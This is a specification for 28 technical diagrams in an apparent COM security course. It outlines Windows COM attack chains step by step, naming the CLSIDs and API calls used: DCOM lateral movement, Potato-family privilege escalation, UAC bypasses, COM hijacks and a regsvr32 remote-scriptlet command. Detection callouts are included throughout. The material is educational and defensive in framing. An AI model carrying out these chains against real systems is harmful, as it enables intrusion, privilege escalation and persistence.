# DIAGRAM SPEC — COM Security Masterclass (28 PNGs) Output dir: `/mnt/agents/output/com-masterclass-md/diagrams/` Implement with **matplotlib** (no AI image generation — these must be pixel-accurate technical diagrams with exact CLSIDs/paths). Write a shared helper module (`diag.py`) with primitives: `box()`, `label()`, `arrow()`, `step_circle()`, `boundary()`, `seq_lifeline()`, then one function per diagram. Render at `dpi=150`. ## Global style (mandatory) | Role | Value | |---|---| | Canvas | white `#FFFFFF`, default figsize (11, 6.2), adjust aspect per diagram | | Node fill | `#F6F3EE`, border `#46505C` lw=1.2, **square corners only** (FancyBboxPatch with `boxstyle="square,pad=0"` or Rectangle) | | Hub/dark node | fill `#20242A`, text `#EDEBE6` | | Normal flow arrow | `#46505C` lw=1.2, `arrowstyle="-|>"`, solid | | ATTACK path arrow | `#8F2D24` lw=2.2, solid | | Defense/detection | `#256D5B` lw=1.2, dashed | | Research/next-step | `#9A6A1F` lw=1.2, solid | | Text | `#20242A`; secondary `#6B7280`; family: DejaVu Sans; code/paths/CLSIDs: DejaVu Sans Mono | | Trust boundary | Rectangle, dashed `#6B7280` lw=1, no fill, label top-left inside, 9pt, e.g. "TRUST BOUNDARY — medium IL" | | Step markers | circle r=0.02 fig, fill `#8F2D24`, white bold 9pt number | | Figure title | top-left, bold 13pt `#20242A`, plus thin `#E5E0D8` rule under it | | Caption (optional) | bottom-left 9pt `#6B7280` | - No gradients, no shadows, no rounded corners, no 3D. Arrows must not cross text; label every arrow with protocol/API/data in 8.5–9.5pt. Monospace 8.5pt for CLSIDs, registry paths, API names. - Export: `fig.savefig(path, dpi=150, bbox_inches="tight", facecolor="white")`. ## Diagrams ### Fundamentals 1. **d01-com-activation-flow.png** — "COM activation: from CoCreateInstance to a live object". Sequence: [Client process] →(1 CoCreateInstance(CLSID, IID))→ [combase/ole32] →(2 registry lookup `HKCR\CLSID\{...}`)→ [Registry]. Branch: (3a InprocServer32 → `LoadLibrary` inside client) vs (3b LocalServer32 → RPC to [SCM/RPCSS] →(4 start service/exe)→ [Server process] →(5 `CoRegisterClassObject`)→ back →(6 `IClassFactory::CreateInstance` + proxy/stub)→ client holds interface pointer. 2. **d02-inproc-vs-oop.png** — "In-proc vs out-of-proc: where the trust boundary sits". Two panels. Left: one process box containing [client code] + [COM DLL]; note "same token, same IL — no privilege boundary". Right: [Client — medium IL] →(RPC/ALPC, NDR-marshaled call)→ trust boundary → [OOP server — NT AUTHORITY\SYSTEM]; note "crossing a privilege boundary = the attack surface for LPE". 3. **d03-hkcr-merge.png** — "HKCR is a merged view — and HKCU wins". [HKCU\Software\Classes] + [HKLM\Software\Classes] → merge arrow → [HKCR view consumed by activation]. On conflict, HKCU shadows HKLM. Red arrow from [Attacker (medium IL, no admin)] writing `HKCU\Software\Classes\CLSID\{target}\InprocServer32` → note "per-user hijack: no admin needed". 4. **d04-marshaling-objref.png** — "Marshaling: how a method call crosses processes". [Client: proxy] → [COM channel / RPC runtime] → [Server: stub]. Under: OBJREF layout box: `OXID (apartment/exporter) · OID (object) · IPID (interface)` + resolution note. Side table: standard marshaling = MIDL/NDR proxy-stub DLL; automation = type library (oleaut32); custom = `IMarshal` (hand-rolled deserialization — audit this). 5. **d05-dcom-wire.png** — "DCOM on the wire". [Host A: client] →(1 TCP 135 `IRemoteSCMActivator::RemoteCreateInstance`)→ [Host B: RPCSS] →(2 OXID resolution `IObjectExporter::ResolveOxid2`)→ [OXID resolver] →(3 method calls `IRemUnknown::RemQueryInterface` etc., dynamic high ports)→ [Server object]. Callout (amber): "RoguePotato hijacks step 2 with a fake OXID resolver". 6. **d06-impersonation-contract.png** — "The impersonation contract". Sequence: [Client] sets `CoSetProxyBlanket(..., RPC_C_IMP_LEVEL_*)` → call → [Server] `CoQueryClientBlanket` → decision diamond: `level >= IMPERSONATE?` → yes → `CoImpersonateClient` → act with CLIENT token (safe, slate) ; no/missing check → server acts with its own SYSTEM token (red, "bug class #1: missing/late impersonation"). 7. **d07-elevation-moniker.png** — "Elevation moniker & auto-elevation". [Medium-IL process] → `CoGetObject("Elevation:Administrator!new:{CLSID}")` → [APPINFO service] → decision: class auto-approved (autoElevate manifest + signed + secure dir, or `HKCR\CLSID\{...}\Elevation\Enabled`) → no prompt (red path: "silent high-IL object — UAC bypass primitive") vs not approved → consent UI (slate path). 8. **d08-com-architecture.png** — "COM attack-surface map". Central hub [combase / ole32] connected to: [Registry HKCR], [SCM/RPCSS], four server kinds (In-proc DLL · dllhost surrogate · Service-hosted EXE · Remote DCOM), [ROT + monikers], [Type libraries + proxy/stub DLLs]. Thin red ticks mark each abuseable edge (hijack, impersonate, marshal, elevate, relay). ### Lateral movement 9. **d09-dcom-lateral.png** — "DCOM lateral movement: anatomy". [Attacker host: PowerShell / impacket] →(DCOM activation, Kerberos/NTLM, TCP 135 + dynamic)→ [Target: RPCSS] → starts/attaches [mmc.exe] hosting [MMC20.Application] → `Document.ActiveView.ExecuteShellCommand(...)` → [cmd.exe child]. Teal dashed IoC callouts: "Sysmon 1: mmc.exe → cmd.exe lineage", "Sysmon 3: inbound 135 + high ports", "no service install, no SMB file drop". 10. **d10-mmc20-chain.png** — "MMC20.Application kill chain". 5 numbered steps with mono labels: 1 `GetTypeFromCLSID({49B2791A-...}, "target")` 2 `ActivateAs` / `CreateInstance` (admin creds) 3 MMC snap-in object model 4 `Document.ActiveView.ExecuteShellCommand("cmd.exe", ...)` 5 payload runs on target. Under: note "fires a visible MMC window unless executed headless — OpSec tradeoff". 11. **d11-shellwindows-chain.png** — "ShellWindows / ShellBrowserWindow". [Attacker] → DCOM → [explorer.exe on target hosts ShellWindows {9BA05972-...}] → `Item().Document.Application.ShellExecute("cmd.exe")`. Note: needs interactive session on target; runs as the logged-on user. ### Privilege escalation 12. **d12-missing-impersonation.png** — "Bug class #1: server forgets to impersonate". Two lanes. SAFE: client → call → server `CoImpersonateClient` → file op runs as caller (slate). VULNERABLE (red): client passes attacker-controlled path → server writes with its own SYSTEM token → "arbitrary file write as SYSTEM". Bottom note: "hunt: privileged file/registry/process ops reachable from low IL without impersonation". 13. **d13-diaghub-chain.png** — "DiagHub: arbitrary file write → SYSTEM (Forshaw, 2018)". 6 steps: 1 activate `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}` via DCOM 2 start collector session 3 abuse session control to write attacker-chosen file as SYSTEM 4 redirect via junction/symlink to DLL path 5 trigger load into SYSTEM process 6 code execution as SYSTEM. Note: "patched; exploitation mitigations added 19H1 (ProcessImageLoadPolicy)". 14. **d14-rottenpotato.png** — "RottenPotato: NTLM reflection over DCOM". [Service account w/ SeImpersonatePrivilege] →(1 `CoGetObject(IStorage)` for BITS `{4991D34B-80A1-4291-83B6-3328366B9097}`)→ [COM activation] →(2 local NTLM reflection to TCP)→ [NTLM type 1/2/3 relay loop] →(3 SYSTEM token)→ `DuplicateTokenEx` → `CreateProcessWithTokenW` → [SYSTEM shell]. 15. **d15-roguepotato.png** — "RoguePotato: fake OXID resolver + named pipe". 1 trigger SYSTEM to authenticate (IStorage trigger / `RpcRemoteFindFirstPrinterChangeNotificationEx`) 2 victim's OXID resolution redirected to attacker's fake resolver (port-135 restrictions) 3 NTLM auth relayed to local named pipe 4 `ImpersonateNamedPipeClient` → SYSTEM token. 16. **d16-potato-timeline.png** — "The *Potato lineage". Horizontal timeline 2016→2023+: RottenPotato (reflection, BITS) → JuicyPotato (CLSID bruteforce) → PrintSpoofer (named pipe, no DCOM) → RoguePotato (OXID redirect) → SweetPotato (combo) → JuicyPotatoNG (PrintNotify trigger, 1809+) → LocalPotato (CVE-2023-21746). Under each: works-on / killed-by note (small). 17. **d17-trapped-objects.png** — "Trapped COM objects: type confusion via IDispatch (2025)". [Attacker registers/swaps type library or proxy definition] → [privileged client queries interface] → object "trapped": vtable/struct layout mismatch → type confusion → controlled method call in privileged context. Note: "bug class, not one CVE — audit every place a proxy definition can be influenced". ### UAC bypass 18. **d18-uac-autoelevate.png** — "Auto-elevated COM: the prompt that never appears". Lane A (normal): medium-IL proc → APPINFO → consent prompt → high-IL proc. Lane B (COM, red): medium-IL proc → `CoCreateInstance` of auto-elevated class → high-IL object WITHOUT prompt → call interface methods (e.g. `IFileOperation.CopyItem`) → write to `%windir%\System32`. 19. **d19-ifileoperation-chain.png** — "IFileOperation bypass chain". Steps: 1 bind elevated `IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}` 2 `SetOperationFlags(FOFX_NOCONFIRMATION|FOFX_SILENT...)` 3 `CopyItem(payload.dll → C:\Windows\System32\...)` 4 `PerformOperations()` 5 auto-elevated process loads the planted DLL → high-IL execution. Teal note: "signal: medium-IL process writing into System32 via COM". 20. **d20-cmstplua-chain.png** — "CMSTPLUA / ICMLuaUtil". 1 activate `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (auto-elevated, hosted by cmstp-related binary) 2 get `ICMLuaUtil` 3 `ShellExec("cmd.exe", "/c ...")` → high-IL child process. Variant note: `SetRegistryStringValue` → elevated registry write. ### Persistence 21. **d21-com-hijack.png** — "Per-user COM hijack". [Attacker (medium IL)] writes `HKCU\Software\Classes\CLSID\{target}\InprocServer32 = payload.dll` (red) → later/logon: [auto-start process] activates `{target}` → merged HKCR resolves to HKCU entry → [payload.dll loaded] (red). Inset mini-diagram: HKCU-over-HKLM precedence (echo d03). Teal: "hunt: InprocServer32 under HKCU pointing to user-writable paths". 22. **d22-treatas-typelib.png** — "TreatAs and TypeLib redirection". Panel A: `HKCR\CLSID\{A}\TreatAs = {B}` → activation of A silently returns B (`CoTreatAsClass`) — point A at attacker class. Panel B: TypeLib hijack — override `HKCU\Software\Classes\TypeLib\{TLBID}\x.y\0\win32` → oleaut32 loads attacker's typelib/proxy → marshaling redirection for any automation client. ### Execution & defense evasion 23. **d23-squiblydoo.png** — "Squiblydoo: scriptlets via signed proxy". [regsvr32.exe (Microsoft-signed)] `/i:http://host/p.sct scrobj.dll` → [scrobj.dll parses COM scriptlet] → JScript/VBScript runs → `CreateObject`/payload. Teal callouts: AMSI scans script content; Sysmon 7 image load scrobj.dll; AWL bypass because host binary is signed. 24. **d24-ppl-injection.png** — "Type-library substitution → code in PPL (Forshaw, 2018)". 1 attacker plants substitute typelib/proxy registration in HKCU 2 PPL process (e.g. protected svchost) activates the interface 3 oleaut32 unmarshals with attacker-defined layout → type confusion 4 arbitrary call/exec inside PPL. Note: fixed by Microsoft; still the model for marshaling-confusion research. 25. **d25-relay-chain.png** — "Coercion + relay: where COM plugs in". [Attacker] →(1 coerce SYSTEM/machine auth: MS-RPRN / PetitPotam / IStorage trigger)→ [Victim service] NTLM auth →(2 relay to target/loopback: DCOM activation or LDAP/SMB)→(3 DCOM-activated object method executes)→ [code execution]. Mark which links are COM (activation, IStorage) vs pure RPC (coercion). ### Detection & research 26. **d26-telemetry-map.png** — "Telemetry coverage map". Matrix, rows = LM / LPE / UAC / Persistence / Execution; columns = Sysmon 1 · Sysmon 3 · Sysmon 7 · Sysmon 12-14 · Security 4624/4648/4672 · ETW (RPC/COM) · Network. Teal dots where a signal exists; caption: "no single source suffices — layer them". 27. **d27-research-pipeline.png** — "The zero-day pipeline". 8-stage horizontal pipeline with tool labels: Enumerate (OleViewDotNet, registry sweeps) → Triage (OOP+SYSTEM+ACLs+dangerous methods) → Static RE (IDA/Ghidra, proxy/typelib) → Dynamic harness (clients, ProcMon, TTD) → Fuzz (typed mutation, marshal paths) → Root cause → Weaponize (primitive → LPE chain) → Report (MSRC/ZDI). Amber arrows. 28. **d28-fuzzing-harness.png** — "COM fuzzing harness anatomy". [Create valid object] → [interface/method iterator] → [typed mutators: BSTR paths · SAFEARRAY bounds · VARIANT types · IStream blobs · fake interfaces] → [call loop w/ HRESULT log] → [crash monitor: page heap + AppVerifier + debugger + WER] → corpus/triage loop back. ## Acceptance - All 28 PNGs exist, ≥1400px wide, sharp text (zoom test at 100%). - Spot-check: every CLSID/path in these specs rendered correctly (no typos). - One review montage (contact sheet) for the orchestrator.